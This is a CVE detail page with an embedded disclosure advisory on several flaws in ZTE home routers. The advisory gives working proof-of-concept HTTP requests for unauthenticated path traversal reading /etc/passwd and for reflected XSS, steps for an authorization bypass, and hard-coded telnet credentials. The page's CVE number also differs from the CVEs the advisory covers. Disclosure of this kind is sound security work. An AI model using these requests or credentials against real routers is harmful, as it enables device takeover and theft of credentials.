CVE-2015-8703 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit Title: [ZTE ZXHN H108N R1A + ZXV10 W300 routers - multiple vulnerabilities] # Discovered by: Karn Ganeshen # CERT VU# 391604 # Vendor Homepage: [www.zte.com.cn] # Versions Reported # ZTE ZXHN H108N R1A - Software version ZTE.bhs.ZXHNH108NR1A # ZTE ZXV10 W300 - Software version - w300v1.0.0f_ER1_PE Overview ZTE ZXHN H108N R1A router, version ZTE.bhs.ZXHNH108NR1A.h_PE, and ZXV10 W300 router, version W300V1.0.0f_ER1_PE, contain multiple vulnerabilities. *CVE-ID*: CVE-2015-7248 CVE-2015-7249 CVE-2015-7250 CVE-2015-7251 CVE-2015-7252 *Note*: Large deployment size, primarily in Peru, used by TdP. Description *CWE-200* <https://cwe.mitre.org/data/definitions/200.html>*: Information Exposure* - CVE-2015-7248 Multiple information exposure vulnerabilities enable an attacker to obtain credentials and other sensitive details about the ZXHN H108N R1A. A. User names and password hashes can be viewed in the page source of http://<IP>/cgi-bin/webproc PoC: Login Page source contents: ...snip.... //get user info var G_UserInfo = new Array(); var m = 0; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "admin"; //UserName G_UserInfo[m][1] = "$1$Tsnipped/; //Password Hash seen here G_UserInfo[m][2] = "1"; //Level G_UserInfo[m][3] = "1"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "user"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "2"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "support"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "3"; //Index m++; ...snip... B. The configuration file of the device contains usernames, passwords, keys, and other values in plain text, which can be used by a user with lower privileges to gain admin account access. This issue also affects ZTE ZXV10 W300 models, version W300V1.0.0f_ER1_PE. *CWE-285* <https://cwe.mitre.org/data/definitions/285.html>*: Improper Authorization* - CVE-2015-7249 By default, only admin may authenticate directly with the web administration pages in the ZXHN H108N R1A. By manipulating parameters in client-side requests, an attacker may authenticate as another existing account, such as user or support, and may be able to perform actions otherwise not allowed. PoC 1: 1. Login page user drop-down option shows only admin only. 2. Use an intercepting proxy / Tamper Data - and intercept the Login submit request. 3. Change the username admin to user / support and continue Login. 4. Application permits other users to log in to mgmt portal. PoC 2: After logging in as support, some functional options are visibly restricted. Certain actions can still be performed by calling the url directly. Application does not perform proper AuthZ checks. Following poc is a change password link. It is accessible directly, though it (correctly) is restricted to changing normal user (non-admin) password only. http:// <IP>/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page=accessctrl&var:subpage=accountpsd Other functions / pages may also be accessible to non-privileged users. *CWE-22* <http://cwe.mitre.org/data/definitions/22.html>*: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *- CVE-2015-7250 The webproc cgi module of the ZXHN H108N R1A accepts a getpage parameter which takes an unrestricted file path as input, allowing an attacker to read arbitrary files on the system. Arbitrary files can be read off of the device. No authentication is required to exploit this vulnerability. PoC HTTP POST request POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&errorpage=%2fetc%2fpasswd&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a HTTP Response HTTP/1.0 200 OK Content­type: text/html Pragma: no­cache Cache­Control: no­cache set­cookie: sessionid=7ce7bd4a; expires=Fri, 31­Dec­9999 23:59:59 GMT;path=/ #root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh *CWE-798* <http://cwe.mitre.org/data/definitions/798.html>*: Use of Hard-coded Credentials* - CVE-2015-7251 In the ZXHN H108N R1A, the Telnet service, when enabled, is accessible using the hard-coded credentials 'root' for both the username and password. *CWE-79* <https://cwe.mitre.org/data/definitions/79.html>*: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *- CVE-2015-7252 In the ZXHN H108N R1A, the errorpage parameter of the webproc cgi module is vulnerable to reflected cross-site scripting [pre-authentication]. PoC POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&*errorpage*=html%2fmain.html<script>alert(1)</script>&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a +++++ -- Best Regards, Karn Ganeshen